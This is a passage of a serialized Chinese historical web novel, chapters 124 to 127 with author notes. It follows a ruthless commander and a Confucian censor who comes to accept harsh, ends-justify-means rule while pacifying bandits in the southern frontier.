那眼神里没有敬畏,只有困惑。 仿佛在问:这谁啊?在这说什么胡话? 一只手,搭在了孟天正的肩膀上。 龙一不知何时出现在他身后。 孟大人,别挡路。 龙一!孟天正猛地甩开他的手,指着遍地的尸体,气得浑身发抖,你看看你都干了什么!他们已经投降了!为何还要赶尽杀绝!你这是暴行! 暴行?龙一嗤笑一声,先生说了,对这些吃人肉喝人血的恶犬,不需要有半点仁慈。 因为你的仁慈,换来的只会是他们下一次更残忍的噬咬。 他顿了顿,用一种教导的语气说道:把他们杀光,才是对那些被他们屠戮的百姓,最大的仁慈。 孟天正被他那番歪理邪说气得说不出话来。 他指着龙一,嘴唇哆嗦着:你……你……强词夺理!一派胡言! 龙一懒得再理他,转身下令:打扫干净,把所有金银粮食,清点造册,都不许私藏! 黎明时分, 寨门口,三百多颗土匪的人头被筑成了一座小山。 那扬面,让自诩读遍史书的孟天正都胃里翻江倒海,当扬吐了出来。 他正准备拿出怀里的书卷,痛斥龙一的残暴不仁,将其罪行昭告天下。 龙一却看都没看他一眼,直接下达了下一道命令。 把所有缴获的财物,粮食,布匹,全部装车,运到王家庄去! 孟天正愣住了。 王家庄,就是那个被屠了三百多口人的村庄。 他要做什么? 怀着巨大的困惑和不安,孟天正跟在运送财物的车队后面,来到了王家庄。 村庄里,一片死寂。 幸存的村民们,脸上带着麻木和恐惧,蜷缩在残破的屋檐下。 当他们看到龙一这支杀气腾腾的过来时,眼中只剩下绝望。 一个白发苍苍的老汉,拄着拐杖,颤颤巍巍地跪倒在地。 爷……我们……我们什么都没有了……求求您,给条活路吧…… 幸存的村民们,全都跪了下来,哭声一片。 孟天正的心像是被揪住,不忍再看。 他想,这便是暴行带来的恶果。 王师所至,百姓非但不箪食壶浆,反而畏之如虎。 龙一,你看到了吗!这就是你的罪证! 然而,龙一只是撇了他一眼。 他一挥手。 身后一个士兵,将一颗血淋淋的人头扔到了老汉面前。 那颗人头,正是黑风寨大当家黑旋风。 黑……黑旋风!老汉浑身一震,眼中爆发出刻骨的仇恨。 龙一洪亮的声音,响彻整个村庄。 帝师有令,为尔等复仇! 黑风寨三百一十二名贼寇,已尽数伏诛! 他指向身后那一辆辆装满财物的大车。 这些,都是从贼寇巢穴里缴获!现在,帝师有令,所有财物,尽归尔等! 整个村庄,瞬间安静了。 所有人都愣住了,难以置信地看着那一车车的金银粮食。 老汉颤抖着伸出手,摸了摸那颗死不瞑目的人头,又看了看那些财物。 下一秒,他嚎啕大哭。 他不是跪着,而是整个身体都趴在了地上,用尽全身力气,朝着龙一的方向,重重地磕了一个头。 他嘶吼着,声音沙哑。 帝师神威!帝师神威啊! 噗通!噗通! 所有的村民,全都反应了过来。 他们哭着,喊着,朝着龙一的方向拼命磕头。 他们呼喊的,不是陛下圣明,不是朝廷天恩。 而是一声声发自肺腑的呐喊。 谢先生为我们做主! 那山呼海啸般的声浪,震得孟天正耳中嗡嗡作响。 他呆呆地站在那里 他看着那些村民,脸上交织着悲痛与狂喜的表情。 看着他们扑向那些财物,失而复得的哭喊。 看着他们对着龙一和他的军队,露出的那种……那种近乎于崇拜的眼神。 这一幕,荒诞。 却又无比真实。 孟天正缓缓低下头,看着自己手中那卷写满了龙一罪状的书卷。 上面用工整的小楷,记录着杀降、残暴、不仁…… 他引以为傲的圣贤之道,他坚信不疑的王法仁德,在这一刻,显得那么可笑。 他忽然觉得,自己握着的是一张废纸。 一张写满了可笑的废纸。 风吹过,书卷从他无力的手中滑落,掉在地上,被路过的人踩得面目全非。 第一百二十四章 一纸血书 荒诞。 可笑。 他一个堂堂御史,女帝亲封的监军,在这里,却像个跳梁小丑。 而那个杀人如麻的屠夫,却成了万民敬仰的救世主。 凭什么? 就凭他把抢来的钱分了下去? 还有王法吗!还有天理吗! 孟天正冲回自己的营帐,他一把推开桌案上所有的文书,竹简噼里啪啦掉了一地。 不行。 他不能就这么算了。 他要上奏!他要弹劾!他要让陛下,让满朝文武,都看看这,已经糜烂成了什么样子! 孟天正眼中布满血丝,他找不到墨,也等不及研墨。 他伸出右手,将食指塞进嘴里,狠狠一咬! 剧痛传来,血耶在口中弥漫。 一颗血珠从指尖渗出。 他铺开一张雪白的奏纸,用这根流血的手指,在上面写下了第一个字。 臣…… 灯火下,一个孤独的身影书写着他所坚信的道义。 他罗列了龙一的十大罪状。 屠戮降卒,无法无天,为是不仁。 藐视王法,践踏皇权,是为不忠。 煽动民心,归于私恩,是为不轨。 …… 洋洋洒洒数千言,在奏折的最后,他用尽最后一丝力气写道: ……此等以暴制暴之法,短期或有奇效,然长此以往,民只见私恩而不知皇恩,只见屠刀而不见王法,天下人心必失!届时,国将不国! 恳请陛严惩龙一,尽诛其党,以正国法,以安天下! 写完最后一个字,指尖的血已经凝固。 孟天正眼前一黑,几乎昏厥过去。 他喘息着,用尽最后的力气将血书折好,装入一个牛皮信封,用火漆仔仔细细地封好。 来人!他嘶哑地喊道。 一个护卫兵掀开帘子走了进来。 去,把军中驿丞叫来! 片刻之后,一个身材微胖的中年男人快步走进营帐,满脸堆笑。 孟大人,您找小人? 此人是南疆巡阅军的驿丞,负责军中所有信件的往来。 孟天正强撑着身体,将那封信递了过去。 他的声音冰冷而威严。 八百里加急,即刻送往神京,呈交御前。若有片刻耽误,军法从事! 驿丞脸上笑容不改,双手恭恭敬敬地接过信封,甚至微微弯下了腰。 大人放心!小人明白!小人就是拼了这条命,也一定以最快的速度送到神京! 他拍着胸脯保证,信誓旦旦。 孟天正疲惫地点了点头,挥手让他退下。 驿丞躬着身子,小心翼翼地退出了营帐。 一转身,他脸上的恭敬笑容瞬间消失得无影无踪。 他掂了掂手里的信封,嘴角勾起一抹冷笑,没有走向驿站,反而径直朝着军营最深处那座灯火通明的帅帐走去。 孟天正一夜无眠。 他等着,等着神京的回音。 他相信,陛下看到这封血书,一定会震怒。 龙一的末日,就要到了。 然而,一天。 两天过去了。 军营里风平浪静,仿佛什么都没有发生。 龙一依旧在操练他的军队。 孟天正的心,一点点沉了下去。 他感觉不对劲。 按理说,八百里加急,两天时间,怎么也该有消息了。 难道是路上出了什么意外? 他决定不能再等了。 他叫来自己的一个心腹随从,从怀里掏出一封早就写好的家书,低声吩咐道:你亲自出营,找个可靠的商队,务必把信送到我在神京的府上。 那随从点了点头,揣好信,转身就要离开。 站住! 两名守在孟天正帐外的士兵,伸出长戟,拦住了他的去路。 那随从愣住了。 孟天正脸色一变,掀开帘子走了出去,怒斥道:放肆!本官派人送信,你们也敢拦? 为首的士兵面无表情的回道。 监军大人息怒。龙将军有令,南疆匪患未平,为保大人安全,任何人不得擅自离开大营。 保护我的安全?孟天正气得笑了起来,我看是软禁吧! 士兵垂下眼帘,不再说话,手中的长戟却握得更紧了。 孟天正这才发现,他营帐周围的守卫,不知何时,已经全部换成了龙一的兵。 这些人看他的眼神,没有敬畏,只有监视。 他明白了。 他的信,根本就没送出去。 他现在,就是个聋子,瞎子,什么也做不了。 夜。 烛火在营帐里摇曳,将孟天正的影子拉得牢长。 他坐在桌前,一动不动。 帐帘被掀开了。 龙一走了进来。 他没有穿甲,只着一身黑色劲装,。 他也没有带武器。 他的手上,只拿着一封信。 一封用牛皮纸包裹,封口火漆完好无损的信。 龙一走到桌前,将那封信,轻轻地放在了孟天正的面前。 正是他那封奏折。 龙一拉过一张椅子,自顾自地坐下。 他看着孟天正失魂落魄的样子,脸上没有什么表情,眼神里却带怜悯。 他开口了, 孟大人,你的奏折,我看了。 他甚至点了点头,像个老师在点评学生的文章。 写得很好,字字泣血,真是篇好文章。 孟天正猛地抬起头,眼中是满是屈辱。 龙一却假装没看见,他继续说道:可惜,这里是南疆。 他伸手指了指帐外漆黑的夜。 风大,信,送不出去。 他顿了顿,身体微微前倾,盯着孟天正的眼睛,一字一句地说道: 先生让我转告你一句话。 圣贤书,是用来放在庙堂之上,治理国家的。 不是用来在这种吃人打仗的地方。 龙一站起身,居高临下地看着他。 在南疆,你若想活得久一些,就多用眼睛看,少写字,我言尽于此。 说完,他转身,头也不回地走出了营帐。 孟天正呆呆地坐着,目光空洞地落在桌上那封信上。 他缓缓地,伸出手,想要去触碰那封信。 可他的手,悬在半空,却怎么也落不下去。 (大家今天三更哈,下午有事还不及写,我回来就更新第三更,抱歉,抱歉。) 第一百二十五章 政辩 帐内,烛火将孟天正的影子映在布幔上,孤单又倔强。 圣贤之道,教化万民,岂会是错的?“龙一那种以暴制暴的手段,不过是饮鸩止渴,是魔道!” “他孟天正,要用事实证明,王道,才是正途”。 机会很快就来了。 巡阅军抵达双溪镇。 “此地民风彪悍,为了一块祖传水源地的归属,械斗了上百年,”。 孟天正觉得,“这是上天给他证明自己的机会”。 他要用律法与仁德,化解百年世仇,“让龙一看看,什么才是真正的为政之道”。 于是,巡阅军的临时公堂,就在镇子中央的打谷场上搭了起来。 “肃静”! 孟天正一拍惊堂木,虽然那木头是临时找伙夫砍的,但气势足。 他端坐堂上,看着底下黑压压的人群,清了清嗓子:“本官乃朝廷钦命监军,今日在此公开审理张李二族土地纠纷一案,尔等要以理服人,不得喧哗!” 堂下,张氏族长,直接把一本不知哪个角落里翻出来的一半的族谱扔在地上。 “理?俺们的理就在这!一百二十年前,俺太爷爷就是用这块地换了三头牛!白纸黑字!” 话音未落,对面的李氏族长,抓起脚上的烂草鞋就丢了过去。 “我呸!你那族谱是茅房里捞出来的吧!我家这有前朝县太爷的印信,写得明明白白,双溪源头,归我李家灌溉!” “你放屁!” 你血口喷人! “打死他个龟孙!” 场面瞬间失控。 各种陈年旧账的事全被翻了出来,从谁家偷了谁家的鸡,到谁家媳妇骂了谁家婆婆,唾沫星子横飞,差点把孟天正给阉了。 一个穿着锦缎员外服,长得慈眉善目的胖子挤上前来,对着孟天正拱手。 “哎呀,孟大人,您看看,这……这可如何是好啊!乡里乡亲的,和气生财,和气生财嘛!” 此人正是镇上的大户陈员外。 他一边劝,一边悄悄给身边的人使眼色,恰好落入了不远处一道目光。 龙一抱着刀,靠在一棵大树下。 他看这出闹剧,已经看了三天了。 孟天正的嗓子都快喊哑了,可堂下的两族人,仇恨没化解,火气倒是越来越大。昨天夜里,已经有两拨年轻人在镇外小树林里打了个头破血流。 孟天正脸涨得通红,又是一拍惊堂木:“放肆!大炎律法在此,岂容尔等撒野!本官再给你们一天时间,若再执迷不悟,休怪本官动用军法!” 人群里传来一声不大不小的嗤笑。 “军法?谁不知道这军营里,独眼蛇将军才是说话人。你一个穷酸监军,吓唬谁呢?” 孟天正的脸,瞬间红了。 他感到一阵无力。 他所有的道理,所有的律法,在这里,好像就是废话。 夜。 龙一的营帐里,他用最简洁的文字,将双溪镇的情况写成密信,交给了最信任的亲兵。 “送去神京,加急。” 他没提孟天正的窘境,先生不喜欢废话。他只陈述事实。 先生自会看懂。 第二天傍晚,回信到了。 依旧是那个小小的竹管。 龙一摒退左右,展开了那张纸。 纸上没有多余的废话, 只有一幅用炭笔勾勒的,简陋的双溪镇水脉图。 图上,清晰地标注出了一条蜿蜒的地下暗河,那条河在镇子上游一处不起眼的山坳里汇入溪流。 而在那暗河的出口处,画着一个大大的叉。 图的下方,是熟悉的字迹。 只有一句话。 “断其水,观其变。” 龙一看着那张图上的那句话。 他嘴角的弧度越拉越大。 “先生,还是您狠。’ “道理?” “有时候,拳头,才是这世上最硬的道理。” 他将信纸凑到烛火上,看着它化为一撮飞灰,然后大步走出营帐。 “来人!点一百个弟兄,带上家伙,跟我走!” 第二天,天刚蒙蒙亮。 双溪镇的居民还在睡梦中,一百名南疆巡阅军的士兵,已经悄无声息地抵达了镇子上游的山坳。 这里荒无人烟,只有一个不起眼的石窟,洞口黑漆漆的。 龙一什么都没说,只是指了指那个洞口。 士兵们立刻行动起来。 “他们没有用锄头,没有用铲子,而是直接,将周围山壁上那些早已风化松动的巨石,一块块撬下来,推入洞口。” 轰! 轰隆! 沉闷的响声在山谷里回荡。 不到半个时辰,那个涌出清泉的洞口,就被堵得严严实实,水泄不通。 流经双溪镇的那条水位以肉眼可见的速度,迅速下降。 日上三竿。 镇子里炸了锅。 “水!水怎么没了!” “溪水快没了!俺家的田怎么办!” 所有人都慌了。 “前一天还在为了一块地的归属打得头破血流的张李二族,此刻看着干涸的河床,和蔫下去的庄稼,全都傻了。” “百年世仇,在生存危机面前,突然变得有些可笑。” 最先坐不住的是陈员外,他名下的水田最多。他带着几个家丁,满头大汗地冲到军营门口,连滚带爬地求见龙将军。 可守门的士兵,眼皮都懒得抬一下。 午后,张李二族的族长也来了。他们再也没有了公堂上的嚣张,脸上写满了哀求,可依旧连龙一的面都没见着。 太阳西斜。 打谷场上,跪了一片人。 张氏族长,李氏族长,还有那个昨天还假惺惺劝架的陈员外,三人并排跪在最前面,身后是两族的人物。 他们低着头,大气都不敢喘。 孟天正站在自己营帐的帘子后面,呆呆地看着这一幕。 “他不明白。” “也想不通。” “他苦口婆心地劝了三天,讲了三天的道理,换来的却是变本加厉。” 而龙一,只是带人出去转了一圈,什么都没说,什么都没做。 就让这些昨天还恨不得食其肉寝其皮的仇人,跪在了地上。 “为什么?” 帐帘被掀开。 龙一走了进来,他没看孟天正一眼,径直走到水盆边,慢条斯理地洗了把脸。 孟天正嘴唇翕动,终于忍不住开口:”你……你对他们做了什么?” 龙一擦干脸上的水,转过身。 没有回答,只是抬了抬下巴,示意孟天正往外看。 “孟大人,出去看看?” 孟天正鬼使神差地跟着他走了出去。 当龙一的身影出现在营门口时,跪在地上的众人,拼命地磕起头来。 “龙将军饶命啊!” “将军,我们错了!我们再也不敢了!” “求将军开恩,给我们一条活路吧!那地……那地我们不要了!谁的都行!只要有水!” 陈员外更是哭得一把鼻涕一把泪,抱着龙一的靴子就不撒手。 “将军!您就是青天大老爷!小人有眼不识二五八万,求您高抬贵手啊!” 龙一厌恶地踢开他,目光越过这些人,落在了孟天正身上。 他笑了。 “孟大人,你看。” 他伸手指着地上跪着的这群人,声音不大。 “道理,有时候,还真不如一瓢水管用。” (抱歉啦,回来得有点晚了) (大家想看得吃剧情,要不我我在后面写男女主一同来到现代,男主被系统抹去这段记忆不记得女主,现代篇主打甜蜜恋爱。想这个设定的就发1哈。) 第一百二十六章 低语 孟天正的脑子嗡嗡的。 那句“道理,有时候,有的时候不如一瓢水管用”像是一巴掌,狠狠的抽在他的脸上。 他看着前一刻还恨不得生吞了对方的张李二族,看着那个抱着龙一靴子痛哭流涕的陈员外,只觉得...... 荒谬。 太荒谬了。 他读了二十年圣贤书和王法礼教,到头来,却被一瓢水,上了一堂他毕生难忘的课。 龙一似乎很享受他这副失魂落魄的模样,独眼里满是快意。 他一脚踹开陈员外,声音不大,却清晰地传到每一个人耳朵里。 “都特娘起来。” 没人敢动。 “我数到三。”龙一的声音也冷了下去。 哗啦一下,所有人像是被烫了屁股,瞬间从地上弹了起来,低头不语。 龙一环视一圈,最后目光落在张李两族的族长和那个陈员外身上。 “你们三个,过来。” 三人一个哆嗦,连滚带爬地凑了过去,那姿态,比见了亲爹还恭顺。 龙一没跟他们废话,直接开门见山。 “水,是我断的。” 三人头点得像捣蒜。 “想不想有水喝?” “想!想!做梦都想!”陈员外抢着回答,脸上挤出比哭还难看的笑。 “行。”龙一点点头,“一个水源,养活你们三个村子。怎么分,你们自己商量。我给你们一炷香的时间,拟个章程出来。谁占多少,什么时候用,白纸黑字写清楚,按上手印。以后,谁敢不按章程来,我就砍了谁,懂?” 三人面面相觑,又飞快地点头。 这法子简单粗暴,却也是最公平。在活命面前,百年的恩怨算个屁。 “至于你,”龙一的独眼转向陈员外,“昨天在公堂上,你不是挺会说的吗?什么乡里乡亲,以和为贵。我看你就是那个最不盼着他们和气的人吧?” 陈员外腿一软,直接瘫了下去,裤裆里传来一股骚味。 “将军饶命!将军饶命啊!小人……小人再也不敢了!” “晚了。”龙一冷笑一声,对着门口的亲兵一挥手,“拉下去,当众杖责二十。打完了,把他这些年靠着挑拨离间霸占的田产家财,全都给老子抄了。正好,拿这笔钱,给双溪镇修一条新水渠。” 两个亲兵如狼似虎地冲上来,拖着杀猪般嚎叫的陈员外就往外走。 板子打在肉上的闷响声,一下一下,清晰地传来。 张李二族的族长吓得脸都白了,浑身发抖。 这位龙将军,不讲道理,不听辩解,他只看结果,只用拳头。 可偏偏,就是这种方式,让他们觉得……有点爽是怎么回事。 不到一炷香,一份崭新的用水契约就摆在了龙一面前。上面密密麻麻按满了红手印,两族族长献宝一样,双手捧着,递了上去。 “将军,您过目!我们……我们商量好了!以后就按这个来,谁敢反悔,不用您动手,我们自己清理门户!” 龙一扫了一眼,随手丢给旁边的亲兵。 “收好。另外,派人去上游,把石头给老子搬开。告诉镇上的人,水,是巡阅军给他们放的。以后谁的地,谁的田,再有纠纷,就不是跪在这里求我了。” 他顿了顿,独眼里寒光一闪。 “直接把脑袋,挂在村口的大槐树上吧。” 一场持续了上百年的械斗,在不到一天的时间里彻底被搞定。 孟天正站在一旁,从头到尾,像个小丑。 他看着那些对他剑拔弩张的村民,此刻围着那两个族长,脸上洋溢着喜悦。他甚至听到有人在小声议论。 “这位龙将军,真是刚正不阿!” “是啊,要是早来几年,我三叔就不会被打断腿了。” “还是军爷的法子管用,跟他们讲道理,能讲出个什么玩意儿!” 刚正不阿? 孟天正的嘴角扯出一丝苦笑。 一个杀人不眨眼的悍匪头子,一个视王法如无物,在此刻的百姓口中,竟然成了刚正不阿之人。 而他这个满口仁义道德的御史大人,反倒像个百无一用的笑话。 他踉踉跄跄地走回自己的营帐,一头栽倒在冰冷的行军床上,双目无神地盯着帐顶。 这个世界,到底是怎么了? 是世界疯了,还是他自己,从一开始就错了? 夜深了。 营帐的帘子被掀开,龙一走了进来。 他身上带着酒气,显然是刚刚庆功回来。 孟天正没有动,依旧扮演着一具尸体。 龙一也不在意,自顾自地走到桌边,从怀里掏出一个油布包,丢放在桌上,一层层打开。 里面不是军令或地图,而是一叠厚厚的手稿。 “先生派人送来的。” 龙一的声音很平静,没有了白天的嘲弄,反而带着郑重。 “他似乎算到,你会对双溪镇的事,想不通。” 孟天正的身体猛地一震。 他僵硬地转过头,看向那叠手稿。 灯火下,手稿封皮上那几个大字,落进了他的眼睛。 《乱世策》。 落款,顾云舟。 孟天正的手,不受控制地颤抖起来。 他挣扎着坐起身,一步步挪到桌前,像是用尽了全身的力气,才伸出手,抚上那三个字。 先生…… 他连这种事都算到了吗? 他是在嘲笑我吗?还是……在教我? 孟天正不知道。 他只知道,自己必须看下去。 他颤抖着手,翻开了第一页。 “仁不掌兵,慈不掌政。治平世用德,治乱世用刑。” 孟天正的呼吸瞬间停滞。 他瞪大了眼睛,死死盯着那行字,要把它看穿。 这……这是何等的惊世骇俗之言!简直是离经叛道! 他想把手稿扔掉,可他的手,却不听使唤似的。 他只能接着往下看。 “以杀止杀,以暴易暴,非不仁也,乃大仁也。盖因霹雳手段,方显菩萨心肠。” 孟天正感觉自己呼吸加快了许多。 菩萨心肠? 把杀戮和暴行,说成是最大的仁慈? 这是魔鬼的低语! 他浑身发冷,牙齿都在打颤。可他的眼睛,却像是被一股无形的力量攫住,贪婪地,逐字逐句地往下看。 手稿里没有辞藻,没有废话。 有的,只是一个个血淋淋的案例。 从前朝末年,某地大旱,官府开仓放粮,却因秩序混乱,灾民为抢粮而互相践踏,死者数千,粮食被糟蹋大半。而邻州一酷吏,直接派兵镇压,将为首抢粮者当众斩首,余下灾民噤若寒蝉,排队领粮,无一伤亡。 先生的批注只有一句话:“一善之举,杀人如麻。一恶之行,活人无数。何为善,何为恶?” 还有本朝初年,太祖皇帝面对士族掣肘,政令不出皇城。数位名臣上奏,请求以德感化,以仁服人,结果处处碰壁,新政无法推行,国家日渐衰弱。最后,太祖皇帝启用酷吏,一夜之间,血洗三大门阀,人头滚滚,天下震怖。自此,政令通达,国力日盛。 先生的批注更加刻薄:“对牛弹琴,牛不能懂,非牛之过,乃人之蠢。对狼讲仁,狼要吃人,非狼之恶,乃人之痴。” 一桩桩,一件件,全都是孟天正烂熟于心的史实。 可从前,他只看到了史书上那冠冕堂皇的“王道感化”“仁德治国”。 而现在,顾云舟却一层层剥开,展示在面前的无比真实的权力逻辑。 秩序! 效率! 在特定的时期,在一个崩坏的世界里,这两样东西,远比所谓的程序和仁德,更重要,也更宝贵。 因为它们,能让更多的人,活下去。 孟天正的额头上,冷汗涔涔。 他感觉自己过去二十年建立起来的信仰,正在一砖一瓦地崩塌,碎裂。 那些他曾经的圣贤之言,此刻显得那么苍白,那么可笑。 他通宵未眠。 当天边的第一缕晨光,透过营帐的缝隙照进来时,他才看完了最后一页。 手稿的最后,没有案例和批注。 只有先生写给他的一段话。 “孟大人,我知道你读圣贤书,心怀天下,想做一个真正的君子,以王道教化万民。你的志向,可敬。但你可知,真正的君子,不应只有菩萨的慈悲,更应有金刚的怒火。 水能载舟,亦能覆舟。对善民,当如春风化雨,润物无声。对恶徒,当如雷霆霹雳,斩草除根。” “你所面对的,是一个吃人的世界。在这里,你的仁慈,是喂养豺狼的血肉。你的退让,是鼓励罪恶的根源。你想救更多的人,就要先学会,对一部分人,变得比他们更狠,更不讲道理。” “双溪镇之事,只是一个开始。你将来会看到更多。你可以不认同我,但请你,用你的眼睛,去看,去记。看看这个真实的世界,究竟是用道理驱动,还是用刀子。” “言尽于此,望君珍重。” 孟天正缓缓合上手稿,把它整整齐齐地叠好,放在胸口。 他闭上眼睛,两行清泪,无声地滑落。 这不是悲伤,也不是屈辱。 而是一个读书人,在自己的整个世界被彻底颠覆,信仰被无情碾碎之后,从废墟中,重新睁开眼睛时,流下的,茫然而又痛苦的……新生的泪。 或许…… 从一开始,就不是世界疯了。 而是他,那个活在书本里的孟天正,错了。 (大家放心,目前写的就是权谋篇,权谋写完才到现代,也就是男主发育起来之后才回去的。) 第一百二十七章 天火 龙一的眉头拧成了一个疙瘩,死死盯着面前的沙盘。 沙盘上,一座险峻的峡谷被插上了一面黑色小旗。 飞云寨。 南疆最后一颗钉子。 这颗钉子,扎得地方太刁钻了。两山夹一沟,中间一条道窄得只能容两马并行,抬头望天,就剩一条缝。 真他娘的是一线天。 “头儿,要不咱们直接拿人命填吧?”一个满脸横肉的校尉瓮声瓮气地建议,“弟兄们不怕死,一天填进去一百个,十天半个月,总能把那寨门给磨开!” 龙一抬起独眼,冷冷地扫了他一眼。 “先生说过,兵者,凶器也。非万不得已,不动。能用一个铜板解决的问题,绝不花两个。能不死人,就绝不让一个弟兄的血白流。” 那校尉脖子一缩,不敢再吭声。 先生,先生,又是先生。 自从跟了那位白衣帝师,自家头儿的嘴里,除了先生的教诲,就只剩下杀人的命令了。 大帐内一片死寂,只有炭火偶尔爆出一声轻响。 龙一烦躁地抓了抓头发,围着沙盘来回踱步。强攻,损失太大,先生知道了会骂他蠢。围困,山里耗子多,鬼知道这帮土匪囤了多少粮,耗上几个月,朝廷的粮草都吃紧了。 这特娘就是个死局。 就在这时,帐帘被人轻轻掀开。 一个穿着干净儒衫的身影,端着一碗热茶走了进来。 是孟天正。 龙一的眉头皱得更深了。这位孟大人自从那天精神崩溃之后,就变得沉默寡言,整天抱着先生那本《乱世策》翻来覆去地看,跟中了邪似的。 这几天他倒是安分,可这时候跑来干嘛?不会又要跟老子讲“仁德服人那套吧”? 龙一心里不耐烦,但看在那碗热茶的面子上,还是没开口赶人。 孟天正将茶碗轻轻放在龙一的桌案上,没有说一句废话,目光直接落在了沙盘上那面黑色小旗上。 “龙将军,为飞云寨发愁?”他的声音很平静,没有了往日的慷慨激昂,也没有了前几天的失魂落魄,只剩下沉寂。 “孟大人有何高见?”龙一没好气地回了一句,“莫不是想让我军在寨门前诵读圣贤书,感化那帮杀人不眨眼的匪徒?” 孟天正闻言,非但没有生气,反而淡淡一笑。 “诵读圣行不通,这一点,孟某已经领教过了。道理,确实不如一瓢水管用。” 他坦然地承认了自己过去的失败,这让龙一有些意外,独眼里闪过一丝诧异。 只见孟天正伸出修长的手指,在沙盘上轻轻一点,点的却不是飞云寨的寨门,而是其后方一处不起眼的山坳。 “将军请看,此处,可是飞云寨唯一的水源所在?” 龙一凑过去一看,点了点头:“是。斥候探查过,是一处山泉,我们的人过不去,被他们看得死死的。” “过不去,便毁了它。”孟天正的语气轻描淡写,仿佛在说一件吃饭喝水般的小事。 “毁了?”龙一愣住了,“怎么毁?派人摸过去,还没到跟前就成刺猬了。” “先生的《乱世策》中有,凡战者,以正合,以奇胜。” “强攻是正,非我等所取。这‘奇’,便在人心。” 他顿了顿,声音压得更低了。 “我军中,可有飞云寨的降卒?” “有几个,都是外围的小喽啰。” “够了。”孟天正的嘴角勾起,“只需一个便可。我们给他一个戴罪立功的机会,让他悄悄溜回山寨。” 龙一的独眼里精光一闪,似乎明白了什么:“内应?” “不。”孟天正摇了摇头,“是传声筒。他回去,只需做一件事,散播一个谣言。” “什么谣言?” “就说,南疆巡阅军有帝师先生相助,如得天神庇佑。官军不断你粮道,只断你水道,此乃上天警示。三日之内,若不投降,必有天火降临,焚尽山寨,玉石俱焚!” 天火降临? 龙一听得一愣一愣的。这套神神叨叨的东西,听着怎么那么玄乎? 孟天正似乎看穿了他的疑惑,继续说道:“这只是第一步,攻心为上。断水,是让他们从身体上感到恐慌。谣言,是让他们从精神上感到畏惧。人一旦缺水,便会焦躁不安,胡思乱想。这时候的谣言,最容易深入人心。” “那……三天之后呢?”龙一忍不住追问。 “三天之后,自然要有天火。” “我观军中辎重,有不少硫磺火油。我们只需征用几台投石机,在第三日入夜,将浸满火油的巨石和硫磺弹,抛入山寨。” 他伸出手指,在沙盘上飞云寨的位置,画了一个圈。 “不必求精准,不必求杀伤。只需火光冲天,浓烟滚滚,声势浩大即可。届时,山寨中断水三日,人人焦渴,又听了三日‘天火’的谣言,再亲眼见到这从天而降的烈火,会如何?” 龙一呼吸一滞。 他已经想象到了那副场景。 被困在绝地里的土匪,又渴又怕,精神紧绷。突然间,黑夜被火光照亮,无数燃烧的石头从天而降,砸在屋顶,砸在寨墙,燃起熊熊大火。 匪心会崩溃! 甚至……会发生内乱! 高!实在是高! 这他娘的,简直是把人心算计到了骨子里! 龙一瞪着孟天正,像是第一天认识他。眼前的这个读书人,哪里还有半分迂腐之气?这分明是一只披着儒衫的狐狸,肚子里全估计都是黑的! 这操作,太骚了! 而且,既有那种直击要害的狠,又有读书人独有的阴。两者结合起来,简直……完美! “好!”龙一猛地一拍大腿,“就按孟大人说的办!” 计划,被一丝不苟地执行了。 第一天,飞云寨后山的水源地,被神射手用火箭引燃了周围的草木,一场不大不小的山火,成功地逼退了守卫,也顺便加点了料在那处山泉里。 山寨里,开始限水。 与此同时,那个被放回去的降卒,一把鼻涕一把泪地将“天神警示”的谣言,传遍了山寨的每一个角落。 第二天,山寨的水缸见底了。 人们的嘴唇开始干裂,脾气变得异常暴躁。为了一瓢水,昔日称兄道弟的土匪甚至会拔刀相向。而“天火降临”的谣言,则越传越邪乎,甚至有人信誓旦旦地说,晚上听到了天兵天将巡逻的声音。 恐慌在无声地蔓延。 第三天,夜。 飞云寨的匪首,一个外号“坐山雕”的壮汉,正心烦意乱地在厅里来回踱步。 断水三天,山寨里已经乱成了一锅粥。他砍了两个带头闹事的,才勉强压住局面。可他知道,这只是暂时的。再没有水,不用官军打,他们自己就得火并了。 “他妈的,什么狗屁天火,老子就不信这个邪!”坐山雕狠狠地啐了一口,抓起桌上的酒碗,一饮而尽。 然而,就在他酒碗落下的瞬间 “咻!” 一声尖锐的破空声,划破了夜的宁静。 紧接着,一颗巨大的,燃烧着熊熊烈火的“陨石”,拖着长长的尾焰,从天而降,狠狠地砸在了聚义厅前的广场上! 轰! 碎石飞溅,火星四射! 坐山雕吓得一哆嗦,手里的酒碗“哐当”一声掉在地上,摔得粉碎。 他连滚带爬地冲出大厅,抬头一看,瞬间魂飞魄散。 只见夜空中,出现了他永生难忘的恐怖一幕。 一颗,两颗,十颗,上百颗燃烧的“陨石”,如同流星雨一般,铺天盖地地向着小小的山寨砸来! 轰!轰!轰! 火球落地,瞬间炸开,刺鼻的硫磺味和浓烟,伴随着冲天的火光,迅速吞噬了整个山寨。 这不是战争。 这是天罚! “天火!真的是天火啊!” “神仙显灵了! “跑啊!快跑啊!” 你别拽我裤子啊..... 山寨里,彻底炸了锅。土匪们鬼哭狼嚎,哪里还有半分抵抗的意志?他们唯一的念头,就是逃离这鬼地方。 坐山雕看着眼前这地狱般的景象,双腿一软,一屁股瘫坐在地上,面如死灰。 他知道,完了。 全完了。 半个时辰后。 当龙一带着部队,不费一兵一卒,轻轻松松地走进还在冒着青烟的飞云寨时,迎接他的,是被自己手下五花大绑,堵着嘴扔在地上的坐山雕。 南疆,自此再无匪患。 捷报,以八百里加急的速度,送往神京。 孟天正亲自执笔,他详细叙述了平定南疆匪患的全过程,将功劳全部归于龙一将军指挥有方,将士用命。 在奏报的末尾,他另起一行,用小一号的字体,写下了一段话。 那是写给女帝陛下的私人陈述。 “臣,明白了。先生之道,非臣之道,然,为济世安民之道。请陛下,善待先生。” 神京,皇宫深处,忘忧阁。 萧青鸾一身常服,静静地坐在窗前。她手中的,正是孟天正从南疆发回的奏报。 阁内温暖如春,熏香袅袅。 可她的眼神发冷。 她看完了奏报,目光在那最后一行字上,停留了许久,许久。 善待先生? 他孟天正,一个被三言两语就彻底洗了脑子,从王道信徒变成了走狗的废物,有什么资格,来教朕如何对待先生? 她缓缓地,将那份奏报,放在了身旁的紫檀木小几上。 小几上,还放着另一份密报。 那是凤卫传回来的,关于孟天正和龙一,在南疆所有行动的详细记录。 包括他们如何屠戮豪强,如何分发田地,如何收买人心,如何在军中只认先生木牌,不认皇权节杖。 还有,孟天正那本被翻得起了毛边的《乱世策》。 萧青鸾的指尖,轻轻地划过奏报上“善待先生”四个字,眼神中,翻涌着一种外人无法读懂的嫉妒、愤怒以及一丝……病态迷恋的复杂情绪。 真好。 真好啊。 